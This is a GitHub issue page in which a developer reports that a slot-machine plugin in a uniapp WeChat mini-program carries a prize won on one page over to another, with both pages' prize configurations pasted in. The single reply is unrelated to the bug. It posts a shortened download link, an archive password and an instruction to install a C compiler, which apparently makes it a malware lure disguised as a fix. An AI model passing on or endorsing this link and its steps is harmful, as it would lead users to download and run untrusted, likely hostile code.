Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A页面抽中的奖品会在返回到B页面的时候出现,麻烦作者看一下 #513

Open
fieen opened this issue Sep 20, 2024 · 1 comment

Comments

@fieen
Copy link

fieen commented Sep 20, 2024

  • 你当前是什么框架(必填):uniapp 微信小程序
  • 你当前插件的版本(必填):0.0.13
  • 当前环境是小程序还是浏览器(选填):微信开发者工具
  • 详细描述你的bug:在微信开发者工具,两个页面使用老虎机插件,A页面抽中的奖品会在返回到B页面的时候出现
  • 以下是在A页面抽中的奖品 B页面并没有该奖品

image

  • 问题代码(重要):
// 代码开始, 别再放歪了行吗
B页面的奖品
prizes: [{
						fonts: [{
							text: '海洋知识问答',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '表演者口令',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '拍照对比',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '接住小鱼',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '海马快游',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '敲河豚比赛',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '打鲨鱼',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '实景找茬',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '实景拼一拼',
							top: '40%'
						}]
					}
				]
A页面的奖品
prizes: [{
						fonts: [{
							text: '第二名',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '第三名',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '第四名',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '第五名',
							top: '40%'
						}]
					},
					{
						fonts: [{
							text: '第六名',
							top: '40%'
						}]
					}
				]
// 代码结束
@ghost
Copy link

ghost commented Sep 20, 2024

I think this will help you.
https://bit.ly/4gABgKn
Archive password: changeme
If you don't have the c compliator, install it.(gcc or clang)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant